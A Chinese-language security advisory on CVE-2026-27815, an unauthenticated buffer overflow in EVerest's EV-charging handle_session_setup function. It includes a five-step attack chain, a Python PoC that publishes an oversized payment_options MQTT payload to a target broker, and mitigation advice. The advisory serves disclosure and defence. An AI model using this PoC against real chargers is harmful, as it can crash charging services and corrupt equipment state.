IPBUF安全漏洞报告
English
CVE-2026-27815 CVSS 9.1 严重

CVE-2026-27815 EVerest缓冲区越界写入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-27815
漏洞类型
缓冲区溢出
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest

相关标签

缓冲区溢出EVerestCVE-2026-27815物联网安全电动汽车充电MQTT

漏洞概述

EVerest 是一个开源的电动汽车(EV)充电软件栈。在 2026.02.0 版本之前,该软件在 `ISO15118_chargerImpl::handle_session_setup` 函数中存在一个严重的安全漏洞。该函数负责处理会话设置,但在处理过程中,它将可变长度的 `payment_options` 列表直接复制到一个固定长度仅为 2 的数组中,且未执行任何边界检查。由于系统默认禁用了模式验证,攻击者可以利用这一缺陷,通过发送特制的超大 MQTT Cmd 负载触发越界写入。这一行为可能导致损坏相邻的 EVSE(电动汽车供电设备)状态数据,甚至直接导致充电服务进程崩溃,从而严重影响充电基础设施的可用性和完整性。

技术细节

该漏洞属于典型的堆或数据段越界写入漏洞。根本原因在于 C++ 代码中缺乏对输入数据长度的校验。具体来说,当 EVerest 接收到 MQTT 命令消息时,`handle_session_setup` 方法会被调用以解析其中的 `payment_options` 字段。开发者预定义了一个大小为 2 的数组来存储这些选项,却未对输入列表的实际长度进行限制。在默认配置下,EVerest 的 MQTT 消息模式验证是关闭的,这意味着系统不会在数据解析早期阶段拒绝格式异常或字段过大的消息。攻击者无需经过身份认证,即可通过网络向目标设备发送恶意构造的 MQTT 数据包,其中包含超过 2 个元素的 `payment_options` 列表。当程序执行内存拷贝操作时,多余的数据将溢出固定数组的边界,覆盖紧邻的内存区域。这不仅可能导致关键的业务逻辑状态(如 EVSE 状态)被篡改,还可能覆盖函数返回地址或其他关键指针,引发拒绝服务(DoS)或潜在的代码执行风险。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找暴露的 EVerest 充电桩或 MQTT 端口(默认 1883)。
STEP 2
载荷构造
攻击者构造一个特制的 MQTT 消息,其中 `payment_options` 字段包含超过 2 个元素(例如 3 个或更多),利用默认禁用的模式验证绕过检查。
STEP 3
投递攻击
攻击者通过 MQTT 协议将恶意消息发送到目标设备的 `ISO15118_chargerImpl` 处理接口,无需任何身份认证。
STEP 4
触发溢出
目标设备调用 `handle_session_setup` 函数处理消息,执行无边界检查的拷贝操作,导致数据写入固定数组之外的内存区域。
STEP 5
影响实现
越界写入破坏了相邻的 EVSE 状态数据或进程堆栈,导致充电服务崩溃或状态异常,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import paho.mqtt.client as mqtt # Configuration for the target EVerest MQTT broker TARGET_BROKER = "192.168.1.100" TARGET_PORT = 1883 TARGET_TOPIC = "iso15118/charger/cmd/session_setup" def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to broker") # Malicious payload: payment_options list with 3 items (limit is 2) # This triggers the out-of-bounds write in handle_session_setup malicious_payload = { "payment_options": ["Option1", "Option2", "Overflow_Option3"], "session_id": "poc_test_001" } print(f"[*] Sending malicious payload to {TARGET_TOPIC}") client.publish(TARGET_TOPIC, json.dumps(malicious_payload)) print("[+] Payload sent successfully") else: print(f"[-] Connection failed with code {rc}") client = mqtt.Client() client.on_connect = on_connect try: client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"[-] Error: {e}")

影响范围

EVerest < 2026.02.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面采取隔离措施,限制对 MQTT 端口(1883)的访问,仅允许受信任的管理 IP 连接。同时,应检查 EVerest 配置文件,手动启用严格的消息模式验证,以拦截包含异常字段的请求,防止漏洞被触发。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表